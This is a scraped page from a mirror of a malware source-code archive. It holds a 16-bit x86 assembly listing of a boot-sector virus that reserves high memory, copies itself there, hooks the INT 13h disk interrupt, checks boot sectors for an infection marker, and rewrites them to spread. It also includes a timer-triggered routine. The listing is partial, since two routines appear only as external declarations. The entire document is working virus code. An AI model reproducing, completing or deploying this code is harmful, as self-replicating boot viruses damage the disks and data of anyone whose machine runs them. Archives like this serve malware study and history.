mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
232 lines
2.7 KiB
NASM
232 lines
2.7 KiB
NASM
name boot1_asm
|
||
.radix 16
|
||
|
||
start:
|
||
jmp boot
|
||
|
||
db 'IBM 3.3'
|
||
dw 200
|
||
db 2
|
||
dw 1
|
||
db 2
|
||
dw 70
|
||
dw 2D0
|
||
db 0FDh
|
||
dw 2
|
||
dw 9
|
||
dw 2
|
||
dw 0
|
||
|
||
boot:
|
||
xor ax,ax
|
||
mov ss,ax
|
||
mov sp,7C00
|
||
mov ds,ax
|
||
mov ax,[413]
|
||
sub ax,2
|
||
mov [413],ax
|
||
mov cl,6
|
||
shl ax,cl
|
||
sub ax,7C0
|
||
mov es,ax
|
||
mov si,7C00
|
||
mov di,si
|
||
mov cx,100
|
||
rep movsw
|
||
db 8E,0C8
|
||
; mov cs,ax
|
||
push cs
|
||
pop ds
|
||
call n_00014A
|
||
n_00014A:
|
||
xor ah,ah
|
||
int 13
|
||
and byte ptr [7DF8],80
|
||
mov bx,[7DF9]
|
||
push cs
|
||
pop ax
|
||
sub ax,20
|
||
mov es,ax
|
||
call n_00019D
|
||
mov bx,[7DF9]
|
||
inc bx
|
||
mov ax,0FFC0
|
||
mov es,ax
|
||
call n_00019D
|
||
xor ax,ax
|
||
mov byte ptr [7DF7],al
|
||
mov ds,ax
|
||
mov ax,[4C]
|
||
mov bx,[4E]
|
||
mov [4C],7CD0
|
||
mov [4E],cs
|
||
push cs
|
||
pop ds
|
||
mov [7D2A],ax
|
||
mov [7D2C],bx
|
||
mov dl,byte ptr [7DF8]
|
||
jmp far ptr f_007C00
|
||
|
||
mov ax,301
|
||
jmp short n_0001A0
|
||
n_00019D:
|
||
mov ax,201
|
||
n_0001A0:
|
||
xchg ax,bx
|
||
add ax,[7C1C]
|
||
xor dx,dx
|
||
div word ptr [7C18]
|
||
inc dl
|
||
mov ch,dl
|
||
xor dx,dx
|
||
div word ptr [7C1A]
|
||
mov cl,6
|
||
shl ah,cl
|
||
or ah,ch
|
||
mov cx,ax
|
||
xchg ch,cl
|
||
mov dh,dl
|
||
mov ax,bx
|
||
n_0001C3:
|
||
mov dl,byte ptr [7DF8]
|
||
mov bx,8000
|
||
int 13
|
||
jnb n_0001CF
|
||
pop ax
|
||
n_0001CF:
|
||
ret
|
||
|
||
push ds
|
||
push es
|
||
push ax
|
||
push bx
|
||
push cx
|
||
push dx
|
||
push cs
|
||
pop ds
|
||
push cs
|
||
pop es
|
||
test byte ptr [7DF7],1
|
||
jne n_000223
|
||
cmp ah,2
|
||
jne n_000223
|
||
cmp byte ptr [7DF8],dl
|
||
mov byte ptr [7DF8],dl
|
||
jne n_000212
|
||
xor ah,ah
|
||
int 1A
|
||
test dh,7F
|
||
jne n_000203
|
||
test dl,0F0
|
||
jne n_000203
|
||
push dx
|
||
call n_0003B3
|
||
pop dx
|
||
n_000203:
|
||
mov cx,dx
|
||
sub dx,[7EB0]
|
||
mov [7EB0],cx
|
||
sub dx,24
|
||
jb n_000223
|
||
n_000212:
|
||
or byte ptr [7DF7],1
|
||
push si
|
||
push di
|
||
call n_00022E
|
||
pop di
|
||
pop si
|
||
and byte ptr [7DF7],0FE
|
||
n_000223:
|
||
pop dx
|
||
pop cx
|
||
pop bx
|
||
pop ax
|
||
pop es
|
||
pop ds
|
||
jmp far ptr f_0C833E
|
||
|
||
n_00022E:
|
||
mov ax,201
|
||
mov dh,0
|
||
mov cx,1
|
||
call n_0001C3
|
||
test byte ptr [7DF8],80
|
||
jz n_000263
|
||
mov si,81BE
|
||
mov cx,4
|
||
n_000246:
|
||
cmp byte ptr [si+4],1
|
||
je n_000258
|
||
cmp byte ptr [si+4],4
|
||
je n_000258
|
||
add si,10
|
||
loop n_000246
|
||
ret
|
||
|
||
n_000258:
|
||
mov dx,[si]
|
||
mov cx,[si+2]
|
||
mov ax,201
|
||
call n_0001C3
|
||
n_000263:
|
||
mov si,8002
|
||
mov di,7C02
|
||
mov cx,1C
|
||
rep movsb
|
||
cmp [81FC],1357
|
||
jne n_00028B
|
||
cmp byte ptr [81FBh],0
|
||
jnb n_00028A
|
||
mov ax,[81F5]
|
||
mov [7DF5],ax
|
||
mov si,[81F9]
|
||
jmp n_000392
|
||
n_00028A:
|
||
ret
|
||
|
||
n_00028B:
|
||
cmp [800Bh],200
|
||
jne n_00028A
|
||
cmp byte ptr [800Dh],2
|
||
jb n_00028A
|
||
mov cx,[800E]
|
||
mov al,[8010]
|
||
cbw
|
||
mul word ptr [8016]
|
||
add cx,ax
|
||
mov ax,20
|
||
mul word ptr [8011]
|
||
add ax,1FF
|
||
mov bx,200
|
||
div bx
|
||
add cx,ax
|
||
mov word ptr [7DF5],cx
|
||
mov ax,[7C13]
|
||
sub ax,[7DF5]
|
||
mov bl,[7C0Dh]
|
||
xor dx,dx
|
||
xor bh,bh
|
||
div bx
|
||
inc ax
|
||
mov di,ax
|
||
and byte ptr [7DF7],0FBh
|
||
cmp ax,0FF0
|
||
jbe n_0002E0
|
||
or byte ptr [7DF7],4
|
||
n_0002E0:
|
||
mov si,1
|
||
mov bx,[7C0E]
|
||
dec bx
|
||
mov [7DF3],bx
|
||
mov byte ptr [7EB2],0FE
|
||
jmp short n_000300
|
||
|
||
db 1,0,0C,0,1,0,48,1,0,57,13
|
||
|
||
dw 0AA55
|
||
|
||
n_000300:
|
||
|
||
extrn n_000392:near,n_0003B3:near
|
||
extrn f_007C00:far,f_0C833E:far
|
||
|